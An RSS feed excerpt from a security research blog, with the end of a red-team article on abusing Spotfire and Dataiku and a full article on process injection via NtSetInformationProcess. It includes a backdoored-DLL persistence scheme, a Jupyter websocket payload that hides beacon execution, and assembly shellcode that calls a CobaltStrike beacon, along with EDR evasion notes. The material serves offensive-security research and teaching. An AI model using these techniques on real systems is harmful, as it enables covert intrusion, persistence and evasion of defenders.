<p>Through the <span style="color: #250f6b;"><em>C2</em></span> beacon it is possible to spawn an <span style="color: #250f6b;"><em>SSH</em></span> reverse socks. The reverse <span style="color: #250f6b;"><em>SSH</em></span> socks is enough to access to the internal network, however, it <strong><span style="color: #451dc7;">will be killed when the user computer is shut down </span></strong>and will not be remounted until the user re-open an infected analysis and trigger again the <span style="color: #250f6b;"><em>C2</em></span> beacon execution.</p>
<p>In order to <span style="color: #451dc7;"><strong>get persistence and ensure that the socks will be remounted </strong></span>even if the user computer is rebooted, some <span style="color: #451dc7;"><strong>modification on application files can be performed </strong></span>on the user workstation.</p>
<p>The users compromised through the <span style="color: #250f6b;"><em>Spotfire</em></span> beacon are data analysts and <span style="color: #250f6b;"><em>Spotfire</em></span> is their main tools and more likely <em>the </em><span style="color: #451dc7;"><strong>first application they run when they turn on their computer</strong></span>.</p>
<p>The <span style="color: #250f6b;"><em>Spotfire</em></span> thick client is developed in <span style="color: #250f6b;">C#</span>. Its <span style="color: #250f6b;"><em>DLLs</em> </span>can be easily reversed, and they are stored in the user <em><span style="color: #250f6b;">APPDATA</span> </em>folder. Thus, with a simple access to the user session, it is possible to modify these <span style="color: #250f6b;"><em>DLL</em> </span>without needing specific privilege escalation. Using the <span style="color: #250f6b;"><em>SysInternals</em> <em>Procmon.exe</em></span>, the list of <span style="color: #250f6b;"><em>DLL</em> </span>loaded by <span style="color: #250f6b;"><em>Spotfire</em></span> is found. Then, one of this <span style="color: #250f6b;"><em>DLL</em></span> is reversed engineered and infected as shown in the following figure:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23701" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_21.png" alt="" width="576" height="290" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_21.png 576w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_21-379x191.png 379w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_21-71x36.png 71w" sizes="auto, (max-width: 576px) 100vw, 576px" /></p>
<p style="text-align: center;"><em>Figure 21: DNSpy showing the modified DLL</em></p>
<p>The malicious code injected will <span style="color: #451dc7;"><strong>create a new SSH process mounting a new SSH reverse socks </strong></span>when Spotfire is started.</p>
<p>The <span style="color: #250f6b;"><em>DLL</em></span> is recompiled and uploaded on every compromised user workstation and the <span style="color: #250f6b;"><em>C2</em></span> beacon is modified to execute this action when it detects a new user callback.</p>
<h3><span style="color: #451dc7;">5.3.2. OPSEC consideration</span></h3>
<p>While looking like <span style="color: #250f6b;"><em>DLL</em></span> hijacking, this technique is hardly detectable by an <span style="color: #250f6b;"><em>EDR</em> </span>as the original <span style="color: #250f6b;"><em>DLL</em> </span>has not been swapped by a malicious one as in <span style="color: #250f6b;"><em>DLL</em> <em>Hijacking</em></span> or <span style="color: #250f6b;"><em>DLL</em> <em>Proxying</em></span>. The <span style="color: #250f6b;"><em>DLL</em></span> executed by <span style="color: #250f6b;"><em>Spotfire</em></span> is the original one re-compiled with an additional code spawning a new process.</p>
<p>As the original <span style="color: #250f6b;"><em>Spotfire</em> <em>DLL</em> </span>is not signed, the <span style="color: #250f6b;"><em>EDR</em> </span>cannot detect the modification.</p>
<h3><span style="color: #451dc7;">5.3.3. Resiliency</span></h3>
<p>To avoid being blocked through a firewall rule if the socks <span style="color: #250f6b;"><em>IP</em> </span>is blacklisted, the malicious code implanted in the <span style="color: #250f6b;"><em>Spotfire DLL</em> </span>does not contain a hardcoded remote <span style="color: #250f6b;"><em>IP</em></span>, port and <span style="color: #250f6b;"><em>SSH</em> </span>key, instead, each time it fetches this information from a different remote server.</p>
<p>So even if the <span style="color: #250f6b;"><em>SOC</em> </span>blacklist the <span style="color: #250f6b;"><em>SOCKS IP</em></span>, it is possible to remotely change the <span style="color: #250f6b;"><em>SOCKS </em></span>destination <span style="color: #250f6b;"><em>IP</em> </span>without needing direct access to the compromised users’ computers.</p>
<h1><span style="color: #451dc7;">6. Hide in plain sight</span></h1>
<p>The <em><span style="color: #250f6b;">Dataiku</span> </em>application can be used to masquerade malicious command execution and make it look like performed by another user.</p>
<h2><span style="color: #451dc7;">6.1. Jupyter integration in Dataiku</span></h2>
<p>As said before, the <span style="color: #250f6b;"><em>Dataiku</em></span> exposes a <span style="color: #250f6b;"><em>Jupyter</em></span>-like application. Looking at the <span style="color: #250f6b;"><em>Dataiku</em></span> code and the different process run by the <span style="color: #250f6b;"><em>DSS</em></span> instance, it shows that <span style="color: #250f6b;"><em>Dataiku</em></span> didn’t redevelop a <span style="color: #250f6b;"><em>Jupyter</em></span> like applications <span style="color: #451dc7;"><strong>but simply run a full Jupyter Notebook instance in the background</strong></span>:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23703" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_22.png" alt="" width="599" height="248" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_22.png 599w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_22-437x181.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_22-71x29.png 71w" sizes="auto, (max-width: 599px) 100vw, 599px" /></p>
<p style="text-align: center;"><em>Figure 22: Jupyter server running on port 11002</em></p>
<p>Using a simple port forwarding grant access to the <span style="color: #250f6b;"><em>Jupyter</em></span> instance:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23705" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_23.png" alt="" width="545" height="161" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_23.png 545w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_23-437x129.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_23-71x21.png 71w" sizes="auto, (max-width: 545px) 100vw, 545px" /></p>
<p style="text-align: center;"><em>Figure 23: Jupyter instance</em></p>
<p>When executing a <span style="color: #250f6b;"><em>Jupyter</em></span> cell, it is possible, by performing a network capture, to see the <span style="color: #250f6b;"><em>TCP</em></span> communication between the Dataiku instance and the <span style="color: #250f6b;"><em>Jupyter</em></span> backend:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23707" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_24.png" alt="" width="873" height="204" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_24.png 873w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_24-437x102.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_24-71x17.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_24-768x179.png 768w" sizes="auto, (max-width: 873px) 100vw, 873px" /></p>
<p style="text-align: center;"><em>Figure 24: TCP packet</em></p>
<p>This shows that the Dataiku instance fully exposes the <span style="color: #250f6b;"><em>Jupyter kernel</em> </span>and additional investigation shows that the <span style="color: #250f6b;"><em>API TOKEN</em> </span>used by <span style="color: #250f6b;"><em>Dataiku</em></span> to communicate with the <span style="color: #250f6b;"><em>Jupyter</em></span> backend is the same whatever the <span style="color: #250f6b;"><em>Jupyter Notebook</em> </span>loaded.</p>
<p>Thus, any user with access to the <span style="color: #250f6b;"><em>Jupyter Notebook</em> </span>feature <span style="color: #451dc7;"><strong>is able to execute code on any Jupyter Kernel loaded</strong> </span>as long as it has the <span style="color: #250f6b;"><em>kernel ID</em></span>. Hopefully, the kernels ids are shown in the process command lines. Thus, the following code can be used to retrieve all kernel id:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23709" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_25.png" alt="" width="645" height="115" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_25.png 645w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_25-437x78.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_25-71x13.png 71w" sizes="auto, (max-width: 645px) 100vw, 645px" /></p>
<p style="text-align: center;"><em>Figure 25: Kernel ID retrieval</em></p>
<p> </p>
<h2>6.2. Hide request execution</h2>
<p>Once the kernel id is retrieved, it is <span style="color: #451dc7;"><strong>possible to create a session on the kernel</strong></span>:</p>
<pre><code>GET /jupyter/api/kernels/0ab25b8f-1714-4bc9-8449-c09faf5c2e29/channels?session_id=c8c6a227ea3c465c82e39c403ba705a18 HTTP/1.1</code><br /><code>Host: 10.125.3.111:11000</code><br /><code>&lt;SNIP&gt;</code><br /><code>Origin: http://10.125.3.111:11000</code><br /><code>Sec-WebSocket-Key: obLqAtXNc/KxMJOp27qxIQ==</code><br /><code>Connection: keep-alive, Upgrade</code><br /><code>Cookie: &lt;SNIP&gt;</code><br /><code>Pragma: no-cache</code><br /><code>Cache-Control: no-cache</code><br /><code>Upgrade: websocket</code></pre>
<p>This request will create a websocket to communicate with the <em>Jupyter</em> kernel. <strong><span style="color: #451dc7;">No specific access control is performed on this endpoint</span></strong>. As long as you are authorized to execute any <span style="color: #250f6b;"><em>Jupyter</em> </span>notebook, you can connect to any <span style="color: #250f6b;"><em>Jupyter</em></span> kernel even if you cannot access to the notebook using the <span style="color: #250f6b;"><em>UI</em></span> interface.</p>
<p>It is then possible to use the websocket to send command to execute to the python kernel:</p>
<pre><code>{</code><br /><code>  "header": {</code><br /><code>    "msg_id": "ef46ce660d49457c890ce550420ed921",</code><br /><code>    "username": "username",</code><br /><code>    "session": "f4fe997b336f4a019c4c6837df699d30",</code><br /><code>    "msg_type": "execute_request",</code><br /><code>    "version": "5.2"</code><br /><code>  },</code><br /><code>  "metadata": {},</code><br /><code>  "content": {</code><br /><code>    "code": "print('test')",</code><br /><code>    "silent": false,</code><br /><code>    "store_history": true,</code><br /><code>    "user_expressions": {},</code><br /><code>    "allow_stdin": true,</code><br /><code>    "stop_on_error": true</code><br /><code>  },</code><br /><code>  "buffers": [],</code><br /><code>  "parent_header": {},</code><br /><code>  "channel": "shell"</code><br /><code>}</code></pre>
<p>What is interesting is that the command is executed, <strong><span style="color: #451dc7;">but not saved in any Jupyter cell leading to invisible command execution </span></strong>as long as the kernel is alive.</p>
<p>Moreover, if you modify the value of a specific variable, it will be persistent. So, if you send the python command:</p>
<pre><code>def hijacked_print(value):</code><br /><code>    import sys</code><br /><code>    process = subprocess.Popen(‘YOUR BEACON’, stdout=subprocess.PIPE, shell=False)</code><br /><code>    sys.stdout.write('hijacked print: {}'.format(value))</code><br /><br /><code>print = hijacked_print</code></pre>
<p>The beacon will be executed when a user uses the print command and because the previous python execution didn’t let any trace behind, good luck to detect it and find which user has been compromised.</p>
<h1><span style="color: #451dc7;">7. Conclusion</span></h1>
<p>The datascience applications <span style="color: #451dc7;"><strong>are useful in any step of the killchain</strong></span>. For a remote attacker, they can be used as an initial entry point on the information system, they can be leveraged to find insecurely stored credentials to rebound on the information system, their scripting capabilities can be used to <span style="color: #451dc7;"><strong>spread malicious beacon among several users </strong></span>and the data they contain can be easily stolen and exfiltrated.</p>
<p>These applications <span style="color: #451dc7;"><strong>are undercut by either attackers or IT department</strong></span>. A simple compromise of one of these applications can lead to a huge impact on the whole information system.</p>
<p>It is time to for the infosec to start integrating buzzword as BigData and machine learning in the killchain, attacker already did it&#8230;</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2024/07/datascience-for-redteam-extend-your-attack-surface/">DataScience for RedTeam: Extend your attack surface</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2024/07/datascience-for-redteam-extend-your-attack-surface/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Process Injection using NtSetInformationProcess</title>
		<link>https://www.riskinsight-wavestone.com/en/2023/10/process-injection-using-ntsetinformationprocess/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2023/10/process-injection-using-ntsetinformationprocess/#respond</comments>
		
		<dc:creator><![CDATA[Yoann DEQUEKER]]></dc:creator>
		<pubDate>Mon, 02 Oct 2023 09:19:04 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=21481</guid>

					<description><![CDATA[<p>Process injection is a family of malware development techniques allowing an attacker to execute a malicious payload into legitimate addressable memory space of a legitimate process. These techniques are interesting because the malicious payload is executed by a legitimate process...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2023/10/process-injection-using-ntsetinformationprocess/">Process Injection using NtSetInformationProcess</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[




<p><style>code { color: rgb(255,0,102); }</style></p>
<div>Process injection is a family of <strong>malware development techniques</strong> allowing an attacker to execute a malicious payload into <strong>legitimate addressable memory space</strong> of a <strong>legitimate process</strong>.</div>
<div>These techniques are interesting because the malicious payload is executed by a legitimate process that could be <strong>less inspected</strong> by a security product such as an <strong>EDR</strong>.</div>
<div>However, in order to perform this injection, the attacker needs to use<strong> specific functions</strong> for memory allocation, and use execution primitives to write and execute his payload in the remote process. In standard process injection patterns, these functions are usually the following Win32API: <code>VirtuallAllocEx</code>, <code>WriteProcessMemory</code> and <code>CreateRemoteThread</code>.</div>
<div> </div>
<div><img loading="lazy" decoding="async" class="size-full wp-image-21492 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/01.png" alt="" width="945" height="445" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/01.png 945w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/01-406x191.png 406w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/01-71x33.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/01-768x362.png 768w" sizes="auto, (max-width: 945px) 100vw, 945px" /></div>
<div> </div>
<div style="text-align: center;"><em>Figure 1: Standard process Injection pattern</em></div>
<div> </div>
<div> </div>
<div>Security products can use this the<strong> mandatory use of this type of functions</strong> to detect and fight against process injection by <strong>monitoring these API calls</strong>. Therefore, in order to keep this type of technique viable, attackers must <strong>find other ways to allocate</strong>, write and execute memory in a remote process.</div>
<div>This post aims to show an alternate technique allowing execution at an arbitrary memory address on a remote process that can be used to replace the standard <code>CreateRemoteThread</code> call.</div>
<div> </div>
<div> </div>
<h2>Nirvana Debugger</h2>
<h3>Definition</h3>
<div>In 2015, Alex Ionescu made a presentation about <a href="https://github.com/ionescu007/HookingNirvana/blob/master/Esoteric%20Hooks.pdf">Esoteric Debugging Techniques</a>.</div>
<div>One of the topics tackled is the <strong>Nirvana debugging technique</strong>. This method allows a process to install a specific hook that will be called <strong>right after every syscall</strong> it performs.</div>
<div>When a process is performing a syscall, it forwards the execution flow to the kernel. Then, once the kernel returns from the kernel procedure associated to the syscall, it usually forwards back the execution flow to the calling process as shown in the following figure:</div>
<div> </div>
<div><img loading="lazy" decoding="async" class="size-full wp-image-21494 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/02.png" alt="" width="346" height="463" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/02.png 346w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/02-143x191.png 143w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/02-29x39.png 29w" sizes="auto, (max-width: 346px) 100vw, 346px" /></div>
<div> </div>
<div style="text-align: center;"><em>Figure 2: Standard process/kernel interaction</em></div>
<div> </div>
<div> </div>
<div>With the Nirvana debugging technique, it is possible to <strong>register a specific function</strong> (executed in <strong>userland</strong>) that will be called right before the process gets back the execution flow control from the kernel: the kernel will <strong>forward the execution flow to this hook</strong> instead of the initial process as it is shown in the following figure:</div>
<div> </div>
<div><img loading="lazy" decoding="async" class="size-full wp-image-21496 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/03.png" alt="" width="440" height="399" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/03.png 440w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/03-211x191.png 211w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/03-43x39.png 43w" sizes="auto, (max-width: 440px) 100vw, 440px" />
<div> </div>
<div style="text-align: center;"><em>Figure 3: Execution flow is redirected</em></div>
</div>
<div> </div>
<div> </div>
<div>In this hook, all the information needed during a debugging session is available, including <strong>which syscall</strong> has been executed, the address from which the syscall was called and the syscall’s return code. This technique was first discussed in 2020 in the article <a href="https://splintercod3.blogspot.com/p/weaponizing-mapping-injection-with.html">Weaponizing Mapping Injection with Instrumentation Callback for stealthier process injection</a> by <a href="https://twitter.com/splinter_code">@splinter_code</a>.</div>
<div> </div>
<div> </div>
<h3>Implementation</h3>
<div>The WIN32API exposes the <code>NtSetProcessInformation</code> function that can be used to register a Nirvana callback:</div>
<div> </div>
<div><img loading="lazy" decoding="async" class="alignnone size-full wp-image-21498 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/04.png" alt="" width="605" height="380" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/04.png 605w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/04-304x191.png 304w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/04-62x39.png 62w" sizes="auto, (max-width: 605px) 100vw, 605px" /></div>
<div> </div>
<div style="text-align: center;"><em>Figure 4: Basic Nirvana hook definition</em></div>
<div> </div>
<div> </div>
<div>The <code>NtSetInformationProcess</code> function takes the process handle (<code>hProc</code>) as a parameter, which should make it possible to add a hook on a <strong>remote process</strong>.</div>
<div> </div>
<div> </div>
<h3>On a remote process</h3>
<div>The <code>NtSetInformationProcess</code> prototype shows that it can be used to alter a <strong>remote process’s configuration</strong>.</div>
<div>However, looking at the function code in <code>ntoskrnl.exe</code> shows it is only possible to use the function on a remote process when the <code>SE_DEBUG</code> privilege is enabled:</div>
<div> </div>
<div><img loading="lazy" decoding="async" class="size-full wp-image-21500 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/05.png" alt="" width="489" height="222" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/05.png 489w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/05-421x191.png 421w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/05-71x32.png 71w" sizes="auto, (max-width: 489px) 100vw, 489px" /></div>
<div> </div>
<div style="text-align: center;"><em>Figure 5: Need to activate SE_DEBUG</em></div>
<div> </div>
<div> </div>
<div>The <code>SE_DEBUG</code> privilege can be requested by principals allowed in the<strong> “Debug programs” user right assignment</strong>. Additionally, the SeDebug privilege cannot be requested by processes with an integrity level lower than “high”. On most systems, these requirements translate to the need of <strong>running the malicious process</strong> with an account member of the <strong>local “administrators”</strong> group, in <strong>elevated mode</strong>.</div>
<div> </div>
<div> </div>
<h2>Process Injection With NtSetInformationProcess</h2>
<div>As established in the previous sections, the <code>NtSetInformationProcess</code> WIN32API can be used to <strong>register a hook on a remote process</strong>. So, it can be used to redirect a remote process execution flow. However, the hook must be located inside the remote process memory space.</div>
<div> </div>
<div> </div>
<h3>Nirvana hook wrapper</h3>
<div>The final goal is to inject a shellcode in the remote process that will be triggered as a Nirvana hook and will call a <strong>CobaltStrike</strong> beacon.</div>
<div>The process can be split in two steps:</div>
<ul style="list-style-type: square;">
<li>First the CobaltStrike beacon is written at the given address <code>${CSAddr}</code> in the remote process memory space.</li>
<li>Then the Nirvana Hook, that will perform a <code>CALL ${CSAddr}</code>, is written at another address <code>${NirvanaAddr}</code> in the remote process memory space.</li>
</ul>
<div> </div>
<div>A small kernel debugging on a process with a Nirvana hook installed shows that:</div>
<ul style="list-style-type: square;">
<li><strong>The kernel only performs a <code>JMP</code></strong> on the hook address letting him redirect the execution flow to the calling NT function. <br />This part is an interesting lesson on Windows internals. As the kernel will be performing a<code> JMP/CALL</code> on a userland function on behalf of the user mode to run the Nirvana hook, it could be a way to <strong>bypass the Windows Control Flow Guard</strong>, because this check is usually performed on userland with the <code>LdrpValidateUserCallTarget</code> function.<br />Here, the kernel had to reimplement this function under the name <code>MmValidateUserCallTarget</code> to ensure the callback address is in the allowed function range:</li>
</ul>
<div><img loading="lazy" decoding="async" class="size-full wp-image-21502 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/06.png" alt="" width="412" height="260" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/06.png 412w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/06-303x191.png 303w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/06-62x39.png 62w" sizes="auto, (max-width: 412px) 100vw, 412px" /></div>
<div> </div>
<div style="text-align: center;"><em>Figure 6: Control Flow Guard at kernel level</em></div>
<div> </div>
<div> </div>
<ul style="list-style-type: square;">
<li>The calling function address is stored in the <code>R10</code> registry.</li>
<li>The syscall&#8217;s return address is stored in the <code>R11</code> registry.</li>
</ul>
<div> </div>
<div>So, the hook must jump on <code>R10</code> once the <strong>CobaltStrike</strong> beacon has been executed to forward back the execution flow to the calling NT function. A basic ASM code can be used:</div>
<div> </div>
<pre>push rbp<br />mov rbp, rsp<br />push rax<br />push rbx<br />push rcx<br />push r9<br />push rl0<br />push rll<br />movabs rax, ${CSAddr}<br />call rax<br />pop r11<br />pop r10<br />pop r9<br />pop rcx<br />pop rbx<br />pop rax<br />pop rbp<br />jmp r10</pre>
<div> </div>
<div>This shellcode seems ok, but in fact it will<strong> create an infinite loop</strong> as it will be called everytime a syscall is performed. So, it can be modified in order to be <strong>executed only once</strong>.</div>
<div>For example, it could be possible to make the code self-modifying to change to replace the <code>PUSH RBP</code> by a <code>JMP R10</code> in order to break the loop:</div>
<div> </div>
<pre>push rbp<br />mov rbp, rsp<br /><br />; This will modify the instruction push RBP into JMPR10<br />mov qword ptr[rip – 15] 0xE2FF41<br /><br />push rax<br />push rbx<br />push rcx<br />push r9<br />push rl0<br />push rll<br />movabs rax, ${CSAddr}<br />call rax<br />pop r11<br />pop r10<br />pop r9<br />pop rcx<br />pop rbx<br />pop rax<br />pop rbp<br />jmp r10</pre>
<div> </div>
<div>So, when the hook has been executed once, it will just jump on <code>R10</code> without re-executing the beacon.</div>
<div> </div>
<div> </div>
<h3>Wrapping it all together</h3>
<div>Now the different shellcodes are written, it is possible to perform the injection:</div>
<ul style="list-style-type: square;">
<li>Open the <code>notepad.exe</code> process with your process opening primitive</li>
<li>Allocate a <strong>RX</strong> buffer in the<code> notepad.exe</code> process for the <strong>Cobaltstrike</strong> beacon</li>
<li>Modify the Nirvana shellcode in order to call the <strong>Cobaltstrike</strong> beacon address in the remote process</li>
<li>Allocate an <strong>RWX</strong> buffer in the <code>notepad.exe</code> process for the <strong>Nirvana Hook</strong></li>
<li>Write both the shellcode and the <strong>Cobaltstrike</strong> beacon in their respective buffer</li>
<li>Add a new Nirvana Hook using the <code>NtSetInformationProcess</code></li>
<li>Wait for the notepad to perform a syscall</li>
</ul>
<div> </div>
<div>The whole code is available on this Github repository: <a href="https://github.com/OtterHacker/SetProcessInjection"><strong><span style="color: #000080;">https://github.com/OtterHacker/SetProcessInjection</span></strong></a>.</div>
<div> </div>
<div> </div>
<h3>Drawbacks</h3>
<div>The most important drawback is the fact that <code>SE_DEBUG</code> privilege is mandatory for the injection. Therefore, this injection method can <strong>only be used during post-exploitation</strong> and <strong>not during initial access</strong>.</div>
<div>The other problem that could be fixed, giving some time to it, is that the <strong>Nirvana shellcode must be allocated as RWX</strong> in a remote buffer as it is a self-rewriting shellcode.</div>
<div>This can be solved by having the shellcode doing a call to <code>VirtualProtect</code> by itself or finding another way to break the infinite hook loop (by re-calling <code>NtSetInformationProcess</code> directly from the shellcode to remove the callback).</div>
<div> </div>
<div> </div>
<h3>EDR inspection</h3>
<div>The malware has been tested against <strong>Microsoft Defender For Endpoint</strong>, <strong>SentinelOne</strong>, <strong>TrendMicro</strong> and <strong>Sophos</strong>. <strong>None of them raised any alerts</strong> regarding the execution primitive.</div>
<div>However, it is not because no alerts are raised that no detection has occurred. For example, if we look at the <code>ntdll!SetInformationProcess</code> on a process monitored by <strong>SentinelOne</strong>, it is possible to see the following userland hook:</div>
<div> </div>
<div><img loading="lazy" decoding="async" class="size-full wp-image-21504 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/07.png" alt="" width="749" height="227" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/07.png 749w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/07-437x132.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/07-71x22.png 71w" sizes="auto, (max-width: 749px) 100vw, 749px" /></div>
<div> </div>
<div style="text-align: center;"><em>Figure 7: SentinelOne userland hook</em></div>
<div> </div>
<div> </div>
<div>Following the different <code>JMP</code> shows that the hook is located at <code>0x7ffd0160ab00</code>. Looking at the process loaded DLL, it is possible to retrieve the SentinelOne DLL’s base address:</div>
<div style="text-align: center;"> </div>
<div style="text-align: center;"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-21506" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/08.png" alt="" width="517" height="95" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/08.png 517w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/08-437x80.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/08-71x13.png 71w" sizes="auto, (max-width: 517px) 100vw, 517px" /></div>
<div style="text-align: center;"><em>Figure 7: SentinelOne DLL address</em></div>
<div> </div>
<div> </div>
<div>So, the hook’s code is stored in the <code>InProcessClient64.dll</code> at the <code>0x7ab00</code> offset.</div>
<div>Disassembling the related function in IDA shows the following function:</div>
<div style="text-align: center;"> </div>
<div style="text-align: center;"><img loading="lazy" decoding="async" class="alignnone  wp-image-21508" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/09.png" alt="" width="556" height="281" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/09.png 766w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/09-378x191.png 378w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/09-71x36.png 71w" sizes="auto, (max-width: 556px) 100vw, 556px" /></div>
<div> </div>
<div style="text-align: center;"><em>Figure 8: SetInformationProcess hook code</em></div>
<div> </div>
<div> </div>
<div>We see that the hook is copying the initial parameter in the <code>SetInfoArgs</code> structure, pack it in the <code>SentinelHookParams</code> structure and call the <code>ExecuteHook</code> function. This function is a succession of different calls leading to the following code:</div>
<div style="text-align: center;"> </div>
<div style="text-align: center;"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-21510" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/10.png" alt="" width="407" height="209" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/10.png 407w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/10-372x191.png 372w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/10-71x36.png 71w" sizes="auto, (max-width: 407px) 100vw, 407px" /></div>
<div> </div>
<div style="text-align: center;"><em>Figure 9: SentinelOne test performed on the hook</em></div>
<div> </div>
<div> </div>
<div>This function shows that SentinelOne is <strong>performing tests on this hook</strong> and it is specifically related to the <code>ProcessInfomationClass</code> used for the <strong>Nirvana Hook registering</strong>.</div>
<div>It is possible to look at the different checks that are performed to understand the detection logic set up, but it is not the purpose of this post. However, some obvious checks can be easily observed. The following code shows that the <code>TTDINJECT.EXE</code> and <code>TTD.EXE</code> executables (related to <strong>Windows Time Travel Debugging</strong>) seem to be whitelisted:</div>
<div style="text-align: center;"> </div>
<div style="text-align: center;"><img loading="lazy" decoding="async" class="alignnone  wp-image-21512" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/11.png" alt="" width="624" height="221" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/11.png 757w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/11-437x155.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/11-71x25.png 71w" sizes="auto, (max-width: 624px) 100vw, 624px" /></div>
<div> </div>
<div style="text-align: center;"><em>Figure 10: TTDINJECT whitelisting</em></div>
<div> </div>
<div> </div>
<div>Likewise, it is possible to see additional tests performed when the SentinelOne’s <code>ProtectDeepHooking</code> feature is activated:</div>
<div style="text-align: center;"> </div>
<div style="text-align: center;"><img loading="lazy" decoding="async" class="alignnone  wp-image-21514" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/12.png" alt="" width="446" height="146" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/12.png 654w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/12-437x143.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/10/12-71x23.png 71w" sizes="auto, (max-width: 446px) 100vw, 446px" /></div>
<div> </div>
<div style="text-align: center;"><em>Figure 11: Additional tests performed</em></div>
<div> </div>
<div> </div>
<div>The point here is that <strong>some EDR are still performing some detection through userland hook</strong> to detect the use of this API. However, as every userland detection mechanism, it is possible to <strong>bypass</strong> it using standard <strong>unhooking techniques</strong> and no kernel callback have been found to detect and prevent the use of this API.</div>
<div> </div>
<div> </div>
<h2>Conclusion</h2>
